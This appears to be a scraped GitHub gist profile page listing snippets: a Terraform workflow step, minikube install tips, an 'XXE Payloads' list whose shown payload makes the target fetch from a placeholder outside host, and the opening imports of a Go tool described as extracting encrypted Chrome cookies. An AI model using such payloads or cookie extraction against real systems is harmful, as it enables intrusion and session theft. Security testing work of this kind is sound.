Skip to content

Instantly share code, notes, and snippets.

View alaamub's full-sized avatar

Aladdin Almubayed alaamub

  • Resourcely
  • Berkeley, CA
View GitHub Profile
name: Combined Workflows
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
permissions:
contents: read
- name: Terraform Plan
id: plan
working-directory: ${{ env.ROOT_MODULE_PATH }}
# have to use /bin/bash because GHA runs by default with `set -e` to end execution on any error.
# we want to capture the error instead.
shell: "/bin/bash {0}"
run: |
set +e
terraform plan -out tfplan -detailed-exitcode > plan_output.txt 2>&1
EXIT_CODE=$?
@alaamub
alaamub / XXE_payloads
Created April 17, 2018 21:09 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@alaamub
alaamub / minikube_tips.md
Created April 6, 2018 23:53 — forked from hustcat/minikube_tips.md
Minikube tips

Install

Install minikube:

# curl -Lo minikube https://storage.googleapis.com/minikube/releases/v0.18.0/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/

Install kubectl:

@alaamub
alaamub / cookiemonster.go
Created April 2, 2018 20:55 — forked from rwifeng/cookiemonster.go
Simple script to extract (encrypted) cookies out of Chrome OS X cookie store. Usage: ./cookiemonster domain.com
package main
import (
"code.google.com/p/go.crypto/pbkdf2"
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"database/sql"
"fmt"
"log"